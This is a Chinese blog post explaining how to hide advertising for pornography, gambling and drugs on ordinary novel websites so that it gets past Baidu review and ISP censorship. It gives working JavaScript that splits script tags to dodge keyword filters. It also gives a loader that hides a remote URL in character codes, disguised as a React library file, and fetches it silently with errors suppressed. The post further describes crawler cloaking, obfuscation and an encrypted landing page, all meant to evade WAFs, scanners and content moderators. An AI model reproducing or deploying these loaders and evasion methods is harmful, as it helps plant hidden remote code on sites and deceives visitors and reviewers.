最近看到有同行的将落地页执行js加密算法,在神不知鬼不觉的情况下安全且正常的引流,而在落地页之前的广告也是被加密过的,我将会把这个研究过程记录下来。
百度对于黄赌毒是非常严格的在审查,如果百度审查不到,中国境内的互联网ISP电信商通常也会配合网警一起审查境内信息或境外信息,因此境内想要看一点不一样的内容是非常困难的,于是这些在网站上的特殊代码就这么地诞生在这市场上。
我看到的个案是通过正常的小说网站,在一些位置摆设广告位,一般来说网站透过广告挣钱是很合理的,但是如果你的广告是不合规的内容,网站很容易会被端走,所以许多人就开始研究一些特殊方式来渲染广告元素,而且越难被人为识破就越安全,浏览器理论上是可以看到第一层文件,但是这个文件上的内容是什么,没人知道代码逻辑,因为这是透过混淆加密去进行渲染广告到网站上。
几年前,比较常见的做法是:
document.write('<sc' + 'ri' + 'pt src="https://abc.com/def.js"><\/sc' + 'ri' + 'pt>');
透过上述代码去运行js,这段代码在运行时会动态写入一个完整的 <script> 标签,但静态查看源码时,没有连续的 <script> 字符串,可能绕过某些基于字符串匹配的检测机制。
这属于一种简单的混淆技术,常用于:
- 绕过基础的关键词过滤(例如某些广告审核系统、WAF、内容安全策略检测)
- 防止被正则表达式轻易匹配到
<script>标签 - 逃避自动化爬虫或安全扫描器的静态检测
| 优点 | 缺点 |
|---|---|
| 简单、兼容性好(所有浏览器支持) | 容易被高级检测绕过:现代 WAF、CSP、反爬系统会做动态行为分析或JS 沙箱执行,仍能识别 |
| 能绕过部分正则/关键词过滤 | document.write本身是高风险函数,很多安全策略会直接拦截或标记 |
| 不依赖加密/eval | 在严格 CSP(Content Security Policy)下会被直接阻断 |
现代浏览器对document.write在异步/延迟加载脚本中已不推荐甚至禁止(尤其在跨域主文档中) |
ASCII 动态创建<script>是一种将 URL 隐藏在 Unicode/ASCII 编码中,再通过 ES6 动态 import() 加载远程脚本的隐蔽技术。
(function() {
const url = String.fromCharCode(
104, 116, 116, 112, 115, 58, 47, 47,
113, 109, 99, 101, 107, 111, 46, 99, 110, 58,
49, 57, 55, 56, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 47,
114, 101, 97, 99, 116, 46, 112, 114, 111, 100, 117, 99, 116, 105, 111, 110, 46, 109, 105, 110, 46, 106, 115
);
// 防重复(可选)
if (document.querySelector('script[src="' + url + '"]')) return;
const s = document.createElement('script');
s.src = url;
s.async = true;
// 静默错误(不泄露地址)
s.onerror = function(){};
document.body.appendChild(s);
})();
另一种更简易的写法
const s = document.createElement('script');
s.src = '网址';
s.onload = () => {
// 可选:加载后移除自身
};
document.body.appendChild(s);
重点是广告代码本身,如果隐藏的不好很容易被审查出来,所以逻辑是爬虫设置一个数组做判断,真实用户是PC端还是移动端,图片与前往地址写成数组并且随机调用(每次网页重整都会重新随机抓取),以上的代码逻辑全部都要用javascript完成创建html标签出来,而这个广告代码最后写完还要再进一步做混淆(Javascript Obfuscation),你可以用第三方免费工具去混淆,但是国内的混淆工具有些做的很烂,我选择用国外的。
混淆第一层远程调用文件就是第一步,接着跳转到落地页,落地页前端页面是用CryptoJS加密,而里面的按钮网址透过php动态生成,然后前端API调用后端PHP,这个落地页基本上就做的算很安全了,别人要偷代码也偷不到,境内网络审查也审查不出什么东西,能够安全绕过审查机制。
请记住,广告图片不能选择敏感内容,一样会被审查出来。

剧搜博客